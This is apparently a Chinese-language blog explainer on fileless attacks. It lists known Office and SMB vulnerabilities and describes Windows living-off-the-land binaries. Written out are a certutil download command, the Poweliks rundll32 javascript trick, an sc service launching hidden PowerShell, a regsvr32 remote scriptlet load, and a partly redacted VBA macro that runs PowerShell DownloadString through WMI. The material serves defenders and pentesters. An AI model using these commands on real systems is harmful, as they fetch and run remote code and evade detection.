在安全领域,无文件攻击意味着极其严重的威胁。“无文件”一词,是在探讨绕过恶意文件检测技术的方法时诞生的术语。“无文件攻击”只是一种攻击策略,其出发点就是避免将恶意文件放在磁盘上,以逃避传统安全软件的检测。
本知识领域牵涉到病毒逆向分析和渗透测试两大版块。
无文件攻击的种类
近些年来比较出名的协议漏洞以及Office漏洞:
病毒名称 | 漏洞类型 | CVE编号 | 漏洞位置 |
---|---|---|---|
Office漏洞 | CVE-2017-0199 | 内嵌OLE2LINK对象 | |
Office漏洞 | CVE-2017-11882(噩梦公式一代) | 公式编辑器EQNEDT32.EXE | |
Office漏洞 | CVE-2018-0802(噩梦公式二代) | 公式编辑器EQNEDT32.EXE | |
WannaCry | SMB漏洞 | ms17-010 | Windows操作系统445端口 |
SQLSlammer(蓝宝石) | WEB漏洞 | — | SQLSERVER2000解析端口1434缓冲区溢出漏洞 |
CVE-2018-0802漏洞复现与分析
https://www.freebuf.com/vuls/160386.html
无文件攻击经常利用的文件及方式
certutil.exe
从指定URL下载文件保存到outfile.file:certuil.exe -urlcache -split -f [URL] outfile.file ;base64编码解码等。
AutoIT脚本
使用Autoit3反编译器-Exe2Aut工具可以反编译可执行文件
下载地址:http://domoticx.com/autoit3-decompiler-exe2aut/
该程序是Windows下的一个证书服务的安装程序,可以下载、编码和解码证书。在实际的渗透环境中,我们也可以利用它来解决一些无法上传脚本的情况。
mshta.exe执行HTA文件
HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分。HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“古老”方式之一。
bitsadmin
cmd窗口中可以使用bitsadmin绕过防火墙下载木马
schtasks.exe
控制面板——系统安全——管理工具——任务计划程序
或者直接打开taskschd.msc程序
计划任务本身可以提权运行,直接绕过UAC限制
rundll32.exe
正常rundll32.exe的参数:RUNDLL32.EXE dll name, entry point ,optional arguments
Poweliks曾经使用的手法:
rundll32.exe javascript:”\..\ mshtml,RunHTMLApplication “;alert(‘payload’);
sc.exe
sc create Payloadservice binpath= “C:\Windows\system32\cmd.exe /c start /b /min powershell.exe -nop -w hidden [REMOVED]”
regsvr32.exe
Dromedan dropper曾使用如下手法利用regsvr32.exe加载恶意DLL。
regsvr32 /s /n /u /i:%REMOTE_MALICIOUS_SCT_SCRIPT% scrobj.dll
Wmic.exe
WMI data is stored encoded in several files across the %System%\wbem\repository
Cozyduke攻击组织就喜欢把整个恶意payload放置在WMI的repository中
关机回写
Dridex组织喜欢在关机时回调,才释放出来恶意文件,尽可能减小恶意文件的暴露点。同样血狐RootKit也是利用关机的一段时间释放出来恶意驱动。
VB宏调用WMI,进而调用powershell
Sub AutoOpen()
[REMOVED]
Set objWMIService = GetObject(“winmgmts:\\” &
strComputer & “\root\cimv2”)
[REMOVED]
objProcess.Create o & “ -ExecutionPolicy Bypass
-WindowStyle Hidden -noprofile -noexit -c if
([IntPtr]::size -eq 4) {
(new-oabject Net.Webclient.
DownloadString(“ & [REMOVED]
End Sub
参考文献
https://www.cnblogs.com/meandme/p/10337267.html
使用计划任务和bitsadmin实现恶意代码长期控守
https://blog.csdn.net/qq_31481187/article/details/57540231